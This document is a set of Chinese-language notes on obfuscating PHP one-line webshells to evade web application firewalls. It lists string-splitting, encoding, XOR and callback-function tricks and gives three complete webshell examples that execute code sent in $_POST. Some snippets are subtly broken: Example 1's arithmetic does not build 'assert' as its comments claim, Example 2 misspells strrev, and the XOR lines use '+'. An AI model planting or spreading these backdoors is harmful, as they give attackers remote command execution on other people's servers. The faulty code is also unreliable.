PHP一句话变形
常见的过WAF姿势
拆分与变形
assert=’a’.’s’.’s’.’e’.’r’.’t’
assert=strrev(tressa)
assert=$array[0][‘wind’]
$item[‘wind’]=’assert’;
$array[]=$item;
加密编码
assert=base64_decode(“YXNzZXJ0”)
assert=chr(97).chr(115).chr(115).chr(101).chr(114).chr(116)
异或(^)
a=’_’+’>’
s=’-‘+’^’
无关键字
$_REQUEST[a]($_REQUEST[pass])
数据库
extract
$a='abcde'; $pass='bcde'; $arr=['a'=>$REQUEST['b'],'pass'=>$_REQUEST['pass']]; extract($arr);
特殊函数
- array_map array_filter array_udiff
array_map(assert,array(‘phpinfo()’))
preg_replace mb_ereg_replace preg_filter
preg_replace(“/abc/e”,$_REQUEST[cmd’],’abcde’);
create_function
$newfun=create_function('','phpinfo();'); $newfun();
例1:
<?php
$a=md5('ssss'); //8f60c8102d29fcd525162d02eed4566b
$b=substr($a,2,2)+37; //97
$s=$b+18; //105
$e=substr($a,-7,1); //e
$r=$s-1; //104
$t=$r+2; //106
$z=chr($b).chr($s).chr($s).$e.chr($r).chr($t);
$z($_POST['s']);
?>
例2:
<?php
$h=@strrev(ecalper_gerp); //preg_replace
$k=@srerev(edoced_46esab); //base64_decode
@$h($k(L3h4L2Ug),$_POST[123],axxa); //L3h4L2Ug=xx/e
?>
例3:
<?php
function a($x,$y){
return $x.$y;
}
@$i=call_user_func('a',ass,ert);
@$b=array($_POST[x]);
array_map($CC=$i,$DD=$b);
?>
}